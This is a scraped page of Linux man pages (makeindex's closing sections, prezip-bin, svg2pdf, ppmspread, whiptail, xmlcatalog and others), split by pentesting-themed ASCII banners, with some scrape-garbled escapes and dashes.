\indexentry{alpha|(}{1} \indexentry{alpha|bold}{3} \indexentry{alpha|)}{5}

will be interpreted as

\item alpha, old{3}, 1--5

but with a warning message in the transcript about encountering an inconsistent page encapsulator. An explicit range beginning in a Roman page number and ending in Arabic is also considered an error. In this instance, (if possible) the range is broken into two subranges, one in Roman and the other in Arabic. For instance,

\indexentry{alpha|(}{i} \indexentry{alpha}{iv} \indexentry{alpha}{3} \indexentry{alpha|)}{7}

will be turned into

\item alpha, i--iv, 3--7

with a warning message in the transcript file complaining about an illegal range formation.

Every special symbol mentioned in this section may be escaped by the quote operator (`”’). Thus

\indexentry{alpha"@beta}{1}

will actually become

\item alpha@beta, 1

as a result of executing makeindex. The quoting power of quote is eliminated if it is immediately preceded by escape (`). For example,

\indexentry{f\"ur}{1}

becomes

\item f\"ur, 1

which represents an umlaut-accented `u’ to the TeX family of processors.

A page number can be a composite of one or more fields separated by the delimiter bound to page_compositor (`-’), e.g., II-12 for page 12 of Chapter II. Page numbers may contain up to ten fields.

Since version 2.11 of makeindex, the quote operator may quote any character in the range 1 . . . 255. Character 0 is excluded because it is used internally in the makeindex source code as a string terminator. With this change, sort keys can be created for all eight-bit characters except 0. The sorting order is

punctuation characters (in ASCII order),
digits,
control characters (1 . . . 31),
space (32),
letters (ignoring case),
characters 127 . . . 255.

Here is an example showing the indexing of all printable ASCII characters other than letters and digits, assuming the default TeX format. For convenience, the page number references are the corresponding ASCII ordinal values.

\indexentry{" @"  (space)}{32}
\indexentry{"!@"! (exclamation point)}{33}
\indexentry{""@"" (quotation mark)}{34}
\indexentry{"#@"\# (sharp sign)}{35}
\indexentry{"$@"\$ (dollar sign)}{36}
\indexentry{"%@"\% (percent sign)}{37}
\indexentry{"&@"\& (ampersand)}{38}
\indexentry{"<@"$<$ (left angle bracket)}{60}
\indexentry{"=@"= (equals)}{61}
\indexentry{">@"$>$ (right angle bracket)}{62}
\indexentry{"?@"? (query)}{63}
\indexentry{"@@"@ (at sign)}{64}
\indexentry{"[@"[ (left square bracket)}{91}
\indexentry{"\@"erb=\= (backslash)}{92}
\indexentry{"]@"] (right square bracket)}{93}
\indexentry{"^@"erb=^= (caret)}{94}
\indexentry{"_@"erb=_= (underscore)}{95}
\indexentry{"`@"erb=~= (grave accent)}{96}
\indexentry{"{@"\"{ (left brace)}{123}
\indexentry{"|@"erb="|= (vertical bar)}{124}
\indexentry{"}@"\"} (right brace)}{125}
\indexentry{"~@"erb=~= (tilde)}{126}

Characters in the actual fields following the `@’ character which have special significance to TeX must be represented as control sequences, or as math mode characters. Note particularly how the entries for the at sign, left and right braces, and the vertical bar, are coded. The index file output by makeindex for this example looks like this:

egin{theindex}

  \item ! (exclamation point), 33
  \item " (quotation mark), 34
  \item \# (sharp sign), 35
  \item \$ (dollar sign), 36
  \item \% (percent sign), 37
  \item \& (ampersand), 38
  \item $<$ (left angle bracket), 60
  \item = (equals), 61
  \item $>$ (right angle bracket), 62
  \item ? (query), 63
  \item @ (at sign), 64
  \item [ (left square bracket), 91
  \item erb=\= (backslash), 92
  \item ] (right square bracket), 93
  \item erb=^= (caret), 94
  \item erb=_= (underscore), 95
  \item erb=~= (grave accent), 96
  \item \{ (left brace), 123
  \item erb=|= (vertical bar), 124
  \item \} (right brace), 125
  \item erb=~= (tilde), 126

  \indexspace

  \item   (space), 32

nd{theindex}

FILES

makeindex
executable file

$TEXMFMAIN/tex/plain/makeindex/idxmac.tex
TeX macro file used by makeindex

$TEXMFMAIN/tex/latex/base/makeidx.sty
TeX macro file used by makeindex

SEE ALSO

ditroff(1L), latex(1L), make.index (1L), qsort(3), tex(1L), troff(1L)

UCSF Enhanced troff/TRANSCRIPT — An Overview, R. P. C. Rodgers and Conrad Huang, LSMB Technical Report 90-2, UCSF School of Pharmacy, San Francisco, 1990.

Index Preparation and Processing, Pehong Chen and Michael A. Harrison, Software: Practice and Experience, 19(9), 897–915, September 1988.

Automating Index Preparation, Pehong Chen and Michael A. Harrison. Technical Report 87/347, Computer Science Division, University of California, Berkeley, 1987 (a LaTeX document supplied with makeindex).

MakeIndex: An Index Processor for LaTeX, Leslie Lamport, February 1987 (a LaTeX document supplied with makeindex).

Tools for Printing Indices, Jon L. Bentley and Brian W. Kernighan, Electronic Publishing — Origination, Dissemination, and Design, 1(1), 3–18, June 1988 (also available as: Computing Science Technical Report No. 128, AT&T Bell Laboratories, Murray Hill, NJ 07974, 1986).

AUTHOR

Pehong Chen, Chen & Harrison International Systems, Inc. Palo Alto, California, USA.
Manual page extensively revised and corrected, and troff(1) examples created by Rick P. C. Rodgers, UCSF School of Pharmacy.

ACKNOWLEDGMENTS

Leslie Lamport contributed significantly to the design of MakeIndex. Michael Harrison provided valuable comments and suggestions. Nelson Beebe improved on the portable version, and maintained the source distribution for the TeX Users Group for many years. Andreas Brosig contributed to the German word ordering. The modification to the -ms macros was derived from a method proposed by Ravi Sethi of AT&T Bell Laboratories. The LOG and CONTRIB files in the makeindex source distribution record other contributions.

makeindex is currently maintained as part of the TeX Live distribution (http://tug.org/texlive); please send bug reports to [email protected].

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

45 - Linux cli command prezip-bin

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command prezip-bin and provides detailed information about the command prezip-bin, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the prezip-bin.

NAME 🖥️ prezip-bin 🖥️

bin - prefix zip delta word list compressor/decompressor

SYNOPSIS

prezip-bin [ -V | -d | -z ]

DESCRIPTION

prezip-bin compresses/decompresses sorted word lists from standard input to standard output.

Prezip-bin is similar to word-list-compress(1) but it allows a larger character set of {0x00…0x09, 0x0B, 0x0C, 0x0E…0xFF} and multi-words larger than 255 characters in length. It can also decompress word-list-compress(1) compatible files.

COMMANDS

Prezip-bin accepts only one of these commands.

-V
Display prezip-bin version number to standard output.

-d
Read a compressed word list from standard input and decompress it to standard output. This can be a word-list-compress(1) or a prezip-bin compressed file.

-z
Read a binary word list from standard input and compress it to standard output.

EXAMPLES

prezip-bin -d <wordlist.cwl >wordlist.txt
Decompress file wordlist.cwl to text file wordlist.txt

prezip-bin -z <wordlist.txt >wordlist.pz 2>errors.txt
Compress wordlist.txt to binary file wordlist.pz and send any error messages to a text file named errors.txt

LC_COLLATE=C sort -u <wordlist.txt | prezip-bin -z >wordlist.pz
Sort a word list, then pipe it to prezip-bin to create a compressed binary wordlist.pz file.

prezip-bin -d <words.pz | aspell create master ./words.rws
Decompress a wordlist, then pipe it to aspell(1) to create a spelling list. Please check the aspell(1) info manual for proper usage and options.

TIPS

Prezip-bin is best used with sorted word list type files. It is not a general purpose compression program since resulting files may actually increase in size.

Unlike word-list-compress(1) if your word list has leading or trailing blank spaces for formatting purposes, you should remove them first before you compress your list using prezip-bin -z , otherwise those spaces will be included in the compressed binary output.

DIAGNOSTICS

Prezip-bin normally exits with a return code of 0. If it encounters an error, a message is sent to standard error output (stderr), and prezip-bin exits with a non-zero return value. Error messages are listed below:

(display help/usage message)
Unknown command given on the command line so prezip-bin displays a usage message to standard error output.

unknown format
The input file appears not to be an expected format, or may possibly be a more advanced format. The output file will be empty.

corrupt input
This is only for the decompression command -d. The input file appeared to be of a correct format, but something appears wrong now. There may be some valid data in output, but due to input corruption, the rest of the file can not be completed.

unexpected EOF
The input file appeared okay but ended sooner than expected, therefore the output file is not complete.

SEE ALSO

aspell(1), aspell-import(1), run-with-aspell(1), word-list-compress(1)

Aspell is fully documented in its Texinfo manual. See the ` aspell ’ entry in info for more complete documentation.

REPORTING BUGS

For help, see the Aspell homepage at <http://aspell.net>. Send bug reports/comments to the Aspell user list at the above address.

AUTHOR

This info page was written by Jose Da Silva <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

46 - Linux cli command svg2pdf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command svg2pdf and provides detailed information about the command svg2pdf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the svg2pdf.

NAME 🖥️ svg2pdf 🖥️

A converter from SVG to PDF (via ReportLab Graphics)

SYNOPSIS

svg2pdf [OPTIONS]… [-o PATH_PAT] [PATH]…

DESCRIPTION

-h, –help
show a help message and exit

-v, –version
print version number and exit

-o, –output PATH_PAT
Set output path (incl. the placeholders: dirname, basename,base, ext, now) in both, %(name)s and {name} notations.

REPORTING BUGS

Report bugs to <https://github.com/deeplook/svglib/issues>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

47 - Linux cli command wsrep_sst_mariabackup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wsrep_sst_mariabackup and provides detailed information about the command wsrep_sst_mariabackup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wsrep_sst_mariabackup.

NAME 🖥️ wsrep_sst_mariabackup 🖥️

mariabackup-based state snapshot transfer

DESCRIPTION

Use: mariabackup-based state snapshot transfer.

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

48 - Linux cli command ppmspread

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmspread and provides detailed information about the command ppmspread, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmspread.

.

NAME 🖥️ ppmspread 🖥️

displace a PPM image’s pixels by a random amount

SYNOPSIS

ppmspread amount [ppmfile] [**-randomseed=**integer]

DESCRIPTION

This program is part of Netpbm(1) .

ppmspread reads a PPM image as input and moves every pixel around a random bit relative to its original position. amount determines by how many pixels a pixel is to be moved around at most.

Pictures processed with this filter will seem to be somewhat dissolved or unfocussed (although they appear more coarse than images processed by something like pnmconvol).

The randomness in the image is limited before Netpbm 10.37 (December 2006) – if you run the program twice in the same second, you may get identical output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmspread recognizes the following command line options:

**-randomseed=**integer
This is the seed for the random number generator that generates the pixels.

Use this to ensure you get the same image on separate invocations.

This option was new in Netpbm 10.94 (March 2021).

SEE ALSO

ppm(1) , pnmconvol(1)

AUTHOR

Copyright (C) 1993 by Frank Neumann

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmspread.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

49 - Linux cli command xbmtopbm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xbmtopbm and provides detailed information about the command xbmtopbm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xbmtopbm.

.

NAME 🖥️ xbmtopbm 🖥️

convert an X11 or X10 bitmap to a PBM image

SYNOPSIS

xbmtopbm

[bitmapfile]

DESCRIPTION

This program is part of Netpbm(1) .

xbmtopbm reads an X11 or X10 bitmap as input and produces a PBM image as output.

OPTIONS

There are no command line options defined specifically for xbmtopbm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pbmtoxbm(1) , pbmtox10bm(1) , pbm(1)

AUTHOR

Copyright (C) 1988 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/xbmtopbm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

50 - Linux cli command init

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command init and provides detailed information about the command init, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the init.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

51 - Linux cli command tie

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tie and provides detailed information about the command tie, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tie.

NAME 🖥️ tie 🖥️

merge or apply WEB change files

SYNOPSIS

tie -c|-m outputfile masterfile changefile. . .

DESCRIPTION

The tie program is used to process multiple change files used with the WEB system for literate programming. The WEB programs allow one to apply patches to a source file (the masterfile) by means of a number of change files (often only a single change file is allowed). Tie can be used to either merge up to 32 change files into a single one or to apply the changes to the masterfile in order to create a new one. Output of either the new change file or the patched master file goes into outputfile.

OPTIONS

-c
Create a single change file from the given changefiles.

-m
Create a new master file by applying the given changefiles.

ENVIRONMENT

The environment variable WEBINPUTS is used to search for the input files, or the system default if WEBINPUTS is not set. See tex(1) for the details of the searching. To avoid conflicts with other programs that also use the WEBINPUTS environment, you can be more specific and use WEBINPUTS_tie for special requirements in TIE.

SEE ALSO

web(1), ctie(1), cweb(1).

AUTHOR

Klaus Guntermann, TH Darmstadt, Institut f. Theoretische Informatik. Man page by Joachim Schnitter, TH Darmstadt, Phys. Chemie I. Maintained as part of TeX Live.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

52 - Linux cli command whiptail

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command whiptail and provides detailed information about the command whiptail, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the whiptail.

NAME 🖥️ whiptail 🖥️

display dialog boxes from shell scripts

SYNOPSIS

whiptail [ –title title ] [ –backtitle backtitle ] [ –clear ] [ –default-item string ] [ –defaultno ] [ –fb ] [ –nocancel ] [ –yes-button text ] [ –no-button text ] [ –ok-button text ] [ –cancel-button text ] [ –noitem [ ] –output-fd fd ] [ –separate-output ] [ –scrolltext ] [ –topleft ] box-options

DESCRIPTION

whiptail is a program that will let you present a variety of questions or display messages using dialog boxes from a shell script. Currently, these types of dialog boxes are implemented:

yes/no box,** menu** box,** input** box, message box,** text** box,** info** box, checklist box,** radiolist** box**, gauge** box, and password box.

OPTIONS

–clear
The screen will be cleared to the screen attribute on exit. This doesn’t work in an xterm (and descendants) if alternate screen switching is enabled, because in that case slang writes to (and clears) an alternate screen.

–defaultno
The dialog box will open with the cursor over the No button.

–default-item* string*
Set the default item in a menu box. Normally the first item in the box is the default.

–fb, –fullbuttons
Use full buttons. (By default, whiptail uses compact buttons).

–nocancel
The dialog box won’t have a Cancel button**.**

–yes-button* text*
Set the text of the Yes button.

–no-button* text*
Set the text of the No button.

–ok-button* text*
Set the text of the Ok button.

–cancel-button* text*
Set the text of the Cancel button.

–noitem
The menu, checklist and radiolist widgets will display tags only, not the item strings. The menu widget still needs some items specified, but checklist and radiolist expect only tag and status.

–notags
Don’t display tags in the menu, checklist and radiolist widgets.

–separate-output
For checklist widgets, output result one line at a time, with no quoting. This facilitates parsing by another program.

–output-fd* fd*
Direct output to the given file descriptor. Most whiptail scripts write to standard error, but error messages may also be written there, depending on your script.

–title* title*
Specifies a title string to be displayed at the top of the dialog box.

–backtitle* backtitle*
Specifies a backtitle string to be displayed on the backdrop, at the top of the screen.

–scrolltext
Force the display of a vertical scrollbar.

–topleft
Put window in top-left corner.

-h, –help
Print a help message and exit.

-v, –version
Print version information and exit.

Box Options
–yesno* text height width*
A** yes/no** dialog box of size height rows by width columns will be displayed. The string specified by text is displayed inside the dialog box. If this string is too long to be fit in one line, it will be automatically divided into multiple lines at appropriate places. The text string may also contain the sub-string " “ or newline characters ` ‘ to control line breaking explicitly. This dialog box is useful for asking questions that require the user to answer either yes or no. The dialog box has a** Yes** button and a No button, in which the user can switch between by pressing the TAB key.

–msgbox* text height width*
A** message** box is very similar to a** yes/no** box. The only difference between a message box and a yes/no box is that a message box has only a single OK button. You can use this dialog box to display any message you like. After reading the message, the user can press the ENTER key so that whiptail will exit and the calling shell script can continue its operation.

–infobox* text height width*
An** info** box is basically a** message** box. However, in this case, whiptail will exit immediately after displaying the message to the user. The screen is not cleared when whiptail exits, so that the message will remain on the screen until the calling shell script clears it later. This is useful when you want to inform the user that some operations are carrying on that may require some time to finish.

–inputbox* text height width [init]*
An input box is useful when you want to ask questions that require the user to input a string as the answer. If init is supplied it is used to initialize the input string. When inputing the string, the BACKSPACE key can be used to correct typing errors. If the input string is longer than the width of the dialog box, the input field will be scrolled. On exit, the input string will be printed on stderr.

–passwordbox* text height width [init]*
A password box is similar to an input box, except the text the user enters is not displayed. This is useful when prompting for passwords or other sensitive information. Be aware that if anything is passed in “init”, it will be visible in the system’s process table to casual snoopers. Also, it is very confusing to the user to provide them with a default password they cannot see. For these reasons, using “init” is highly discouraged.

–textbox* file height width*
A** text** box lets you display the contents of a text file in a dialog box. It is like a simple text file viewer. The user can move through the file by using the UP/DOWN, PGUP/PGDN and* HOME/END* keys available on most keyboards. If the lines are too long to be displayed in the box, the LEFT/RIGHT keys can be used to scroll the text region horizontally. For more convenience, forward and backward searching functions are also provided.

–menu text height width menu-height [ tag item ] …
As its name suggests, a menu box is a dialog box that can be used to present a list of choices in the form of a menu for the user to choose. Each menu entry consists of a tag string and an item string. The tag gives the entry a name to distinguish it from the other entries in the menu. The item is a short description of the option that the entry represents. The user can move between the menu entries by pressing the UP/DOWN keys, the first letter of the tag as a hot-key. There are menu-height entries displayed in the menu at one time, but the menu will be scrolled if there are more entries than that. When whiptail exits, the tag of the chosen menu entry will be printed on stderr.

–checklist text height width list-height [ tag item status ] …
A checklist box is similar to a menu box in that there are multiple entries presented in the form of a menu. You can select and deselect items using the SPACE key. The initial on/off state of each entry is specified by status. On exit, a list of the tag strings of those entries that are turned on will be printed on stderr.

–radiolist text height width list-height [ tag item status ] …
A radiolist box is similar to a menu box. The only difference is that you can indicate which entry is currently selected, by setting its status to on.

–gauge text height width percent
A gaugeboxdisplaysameteralongthebottomofthebox. The meter indicates a percentage. New percentages are read from standard input, one integer per line. The meter is updated to reflect each new percentage. If stdin is XXX, the first following line is a percentage and subsequent lines up to another XXX are used for a new prompt. The gauge exits when EOF is reached on stdin.

NOTES

whiptail interprets arguments starting with a dash “-” as being arguments. To avoid this, and start some text in, for example, a menubox item, with a dash, whiptail honours the getopt convention of accepting the special argument “–” which means that all following arguments with dashes are to be treated verbatim and not parsed as options.

If the specified height, width, or menu/list-height is zero, whiptail will increase the values as needed in order to display all information.

DIAGNOSTICS

Exit status is 0 if whiptail is exited by pressing the Yes or OK button, and 1 if the No or Cancel button is pressed. Otherwise, if errors occur inside whiptail or whiptail is exited by pressing the ESC key, the exit status is 255.

AUTHOR

Based on the man page for dialog(1) by:

Savio Lam ([email protected]) - version 0.3

Stuart Herbert ([email protected]) - patch for version 0.4

Modifications for whiptail by:

Enrique Zanardi ([email protected])

Alastair McKinstry ([email protected])

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

53 - Linux cli command xmlcatalog

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xmlcatalog and provides detailed information about the command xmlcatalog, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xmlcatalog.

NAME 🖥️ xmlcatalog 🖥️

Command line tool to parse and manipulate XML or SGML catalog files.

SYNOPSIS

xmlcatalog [–sgml | –shell | –create | –del VALUE(S) | [ –add TYPE ORIG REPLACE | –add FILENAME] | –noout | –no-super-update | [-v | –verbose]] {CATALOGFILE} {ENTITIES…}

DESCRIPTION

xmlcatalog is a command line application allowing users to monitor and manipulate XML and SGML catalogs. It is included in libxml(3).

Its functions can be invoked from a single command from the command line, or it can perform multiple functions in interactive mode. It can operate on both XML and SGML files.

OPTIONS

xmlcatalog accepts the following options (in alphabetical order):

–add TYPE ORIG REPLACE

Add an entry to CATALOGFILE. TYPE indicates the type of entry. Possible types are: public, system, uri, rewriteSystem, rewriteURI, delegatePublic, delegateSystem, delegateURI, nextCatalog. ORIG is the original reference to be replaced, and REPLACE is the URI of the replacement entity to be used. The –add option will not overwrite CATALOGFILE, outputting to stdout, unless –noout is used. The –add will always take three parameters even if some of the XML catalog constructs will have only a single argument.

–add FILENAME

If the –add option is used following the –sgml option, only a single argument, a FILENAME, is used. This is used to add the name of a catalog file to an SGML supercatalog, a file that contains references to other included SGML catalog files.

–create

Create a new XML catalog. Outputs to stdout, ignoring filename unless –noout is used, in which case it creates a new catalog file filename.

–del VALUE(S)

Remove entries from CATALOGFILE matching VALUE(S). The –del option will not overwrite CATALOGFILE, outputting to stdout, unless –noout is used.

–noout

Save output to the named file rather than outputting to stdout.

–no-super-update

Do not update the SGML super catalog.

–shell

Run a shell allowing interactive queries on catalog file CATALOGFILE. For the set of available commands see the section called “SHELL COMMANDS”.

–sgml

Uses SGML super catalogs for –add and –del options.

-v, –verbose

Output debugging information.
